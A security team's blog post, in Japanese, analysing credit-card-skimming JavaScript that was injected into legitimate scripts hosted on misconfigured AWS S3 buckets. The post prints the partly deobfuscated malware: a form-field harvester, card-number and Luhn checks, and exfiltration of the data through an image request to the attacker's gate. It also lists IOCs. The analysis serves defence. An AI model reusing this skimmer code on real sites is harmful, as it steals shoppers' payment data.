よくわからないJavaScriptが綺麗にされたらCard Stealerだった件
きっかわ
こんにちは、Recruit-CSIRTのきっかわです。 「ウィルスオタクの若手エース」と呼ばれるようになったから、というわけではないでしょうが(笑)、このたび、話にはよく聞くが見かけたことのなかった「クレジットカード情報を盗むJavscript」を見つけたので、そのマルウェアと周辺の攻撃について情報を共有します。みなさんにとって本ブログが有益な情報になれば幸いです。
忙しい方へ
- 今回発見されたJavaScriptの概要
- クレジットカードのチェックディジットの計算とクレジットカード番号の構成をチェックする
- チェックが通ると、外部サイトへ入力情報を全て送信する
- Javascriptコードの仕込まれ方
- Webサイトのjsファイルを改ざんして動作
- 元のサイトの動きに対して、見た目上の動きは変わらない
- IOC
https://ww1-filecloud[.]com/img
攻撃の流れ
今回観測した攻撃の流れは、以下と推測しており、クレジットカード情報の盗み出しを目的としていると考えられます。
- 攻撃者は、AWS S3のPublic Bucketsを調査
- 攻撃者は、見つかったAWS S3に対し、バケットポリシーをチェック
- 攻撃者は、PUT権限がついていると分かると、正規のJavaScriptにマルウェアを混入してアップロード
- マルウェアは、改ざんされたJavaScriptがロードされる全てのページにおいて、クレジットカード情報の入力があるとその情報を取得し、データを送信
クレジットカード情報盗み出しの手口については、徳丸先生のブログ で詳しく解説されています。今回のマルウェアは、当該ブログに記載されている4つ目のタイプに分類され、具体的に以下2つの手法を 利用していました。
- setInterval()を用いて、500msごとにフォーム内容をチェック、カード情報が入力されていた場合は確認ボタンなどが押されなくても自動的にデータが攻撃者へ送信
- マルウェアの設置は、RCE可能な脆弱性などを経由したものではなく、Anonymous PUT権限がついているAWS S3を探し、正規のJavaScript内にマルウェアを注入、PUTメソッドでアップロード
では、具体的なマルウェアについて見ていきます。
見つかったマルウェア
実際に見つかったマルウェアは以下のコードから始まるもので、本来のJavaScriptに追記する形で混入されていました。
マルウェアの処理の流れは以下です。
- ページの読み込みが完全に終わったら、0.5秒おきに以下のJavaScriptを実行する。
- ページ中すべてのinputタグ、selectタグ、textareaタグの値を取得する。
- 取得した中身にクレジットカード番号があるかチェックする。
- クレジットカード番号があれば、その情報をBase64エンコードし、データをGETで送信する。
アンチデバッグとして、Windowサイズによる開発者ツールが起動しているかの確認もありましたが、ここでは割愛します。
では、もう少し動作を詳しくみていきましょう。 なお、ソースコードは難読化を一部解除、関数名の置き換えやコメントを追加し、読みやすくしています。
データ取得
マルウェアのJavaScript中には、 _0x5c3409.SaveAllFields() 関数があり、そこではinputタグ、selectタグ、textareaタグの値を取得します。データを取得する際、_0x5c3409.SavePram関数が呼ばれ、クレジットカード番号が入力されているかのチェックをしています。正しいクレジットカード番号が入力されていると、フラグである _0x5c3409.IsValid が True になり、このフラグが外部へ情報を送信するかの判定用として利用されていました。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
_0x5c3409['SaveAllFields'] = function () { // input, select, textareaタグからエレメントを取得 var input_tags = document.getElementsByTagName('input'); var select_tags = document.getElementsByTagName('select'); var textarea_tags = document.getElementsByTagName('textarea'); // エレメントの中身を一つ一つ評価 for (var i = 0; i < input_tags.length; i++) _0x5c3409.SaveParam(input_tags[i]); for (var i = 0; i < select_tags.length; i++) _0x5c3409.SaveParam(select_tags[i]); for (var i = 0; i < textarea_tags.length; i++) _0x5c3409.SaveParam(textarea_tags[i]); }; _0x5c3409['SaveParam'] = function (tag_contents) { if (tag_contents.id !== undefined && tag_contents.id != '' && tag_contents.id !== null && tag_contents.value.length 0) { // valueからハイフン、空白削除 // クレジットカードのチェックディジットを計算 // クレジットカードの番号形式を確認 if (check_credit_digit(replace(replace(tag_contents.value, '-', ''), ' ', '')) && check_credit_number(replace(replace(tag_contents.value, '-', ''), ' ', ''))){ // 正しいクレジットカードの値の場合にフラグがTrueになる。 _0x5c3409.IsValid = !![]; } _0x5c3409.Data[tag_contents.id] = tag_contents.value; return; } if (tag_contents.name !== undefined && tag_contents.name != '' && tag_contents.name !== null && tag_contents.value.length 0) { if (check_credit_digit(replace(replace(tag_contents.value, '-', ''), ' ', '')) && check_credit_number(replace(replace(tag_contents.value, '-', ''), ' ', ''))) { _0x5c3409.IsValid = !![]; } _0x5c3409.Data[tag_contents.name] = tag_contents.value; return; } }; |
クレジットカード番号チェック
クレジットカード番号のチェック処理を詳しくみてみます。 このマルウェアでは以下の2種類の判定法により、正しいクレジットカード番号かをチェックしています。
- クレジットカード番号の形式
- クレジットカード番号のチェックディジット計算
この判定を用いることで、本当に正しいクレジットカードのみを取得できるようため、ノイズを消去する目的として入れているのでしょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
// クレジットカードの番号をチェック function check_credit_number(_0x568c19) { var _0x392dde = /^(?:4[0-9]{12}(?:[0-9]{3})?)$/; var _0x57d795 = /^(?:5[1-5][0-9]{14})$/; var _0x43426c = /^(?:3[47][0-9]{13})$/; var _0xb4b682 = /^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/; var _0x440265 = ![]; // False if (_0x392dde['test'](_0x568c19)) { _0x440265 = !![]; // True } else if (_0x57d795['test'](_0x568c19)) { _0x440265 = !![]; // True } else if (_0x43426c['test'](_0x568c19)) { _0x440265 = !![]; // True } else if (_0xb4b682['test'](_0x568c19)) { _0x440265 = !![]; // True } return _0x440265; } // クレジットカードのチェックディジット計算 function check_credit_digit(_0xf03a4a) { // 数字などで構成されていない場合はFalse if (/[^0-9-\s]+/['test'](_0xf03a4a)){ return ![]; // False } var _0x125d20 = 0, _0x3fef43 = 0, _0x3e0032 = ![]; // flag _0xf03a4a = _0xf03a4a['replace'](/\D/g, ''); // 数字以外は削除 // チェックディジットの計算 for (var _0x4da242 = _0xf03a4a['length'] - 1; _0x4da242 >= 0; _0x4da242--) { var _0x190dea = _0xf03a4a['charAt'](_0x4da242), _0x3fef43 = parseInt(_0x190dea, 10); if (_0x3e0032) { if ((_0x3fef43 *= 2) > 9) _0x3fef43 -= 9; } _0x125d20 += _0x3fef43; _0x3e0032 = !_0x3e0032; } // 10で割り切れたらTrue。 // 例えば、Visaのテスト番号である4111111111111111はTrueになる。 return _0x125d20 % 10 == 0; } |
データ送信
このマルウェアは、クレジットカード番号が入力されていれば、その時の入力情報を全て取得し、データを送信します。 全ての情報を取得する理由は、クレジットカードを利用するためには、氏名や有効期限、CVVなどが必要になるためと推測できます。
取得した情報はBase64エンコードされ、imgタグのsrcを利用して攻撃者のサーバに送信されます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
// データの送信 _0x5c3409['SendData'] = function () { if (!window.devtools.isOpen && _0x5c3409.IsValid) { _0x5c3409.Data['Domain'] = location.hostname; var _0x228b7c = encodeURIComponent(window.btoa(JSON.stringify(_0x5c3409.Data))); // データをbase64に変換 // 過去に送ったデータのハッシュを保管しており、すでに送信したデータは送らないようにする。 var _0x52b099 = _0x228b7c.hashCode(); //string#hashCode() for (var _0x3c4050 = 0; _0x3c4050 < _0x5c3409.Sent.length; _0x3c4050++) if (_0x5c3409.Sent[_0x3c4050] == _0x52b099) return; // imgタグを作成 _0x5c3409.LoadImage(_0x228b7c); } }; // imgタグを作ってsrcに設定 _0x5c3409['LoadImage'] = function (_0x283a62) { // データのハッシュを保管 _0x5c3409.Sent.push(_0x283a62.hashCode()); // imgタグを経由して情報を送信 var _0x25a59c = document.createElement('IMG'); _0x25a59c.src = _0x5c3409.GetImageUrl(_0x283a62); }; _0x5c3409['GetImageUrl'] = function (_0x41110a) { return _0x5c3409.Gate + '?reff=' + _0x41110a; }; |
おわりに
今回、AWS S3に置かれていたJavaScriptのマルウェアが見つかったので解析してみました。その中身は、純粋なクレジットカード番号が欲しい攻撃者の設置したCard Stealerでした。
そして、攻撃の起点としては、AWS S3を利用していました。みなさんのAWS環境のS3のバケットポリシーは大丈夫でしょうか?今一度、確認してみてください。
IOC
- URL
https://ww1-filecloud[.]com/img?reff=[送信データ]
- SHA-256
0a692f81e0ccac7518f18915ad4eb95135e3c323d68752b30ac6ae4d067b8b37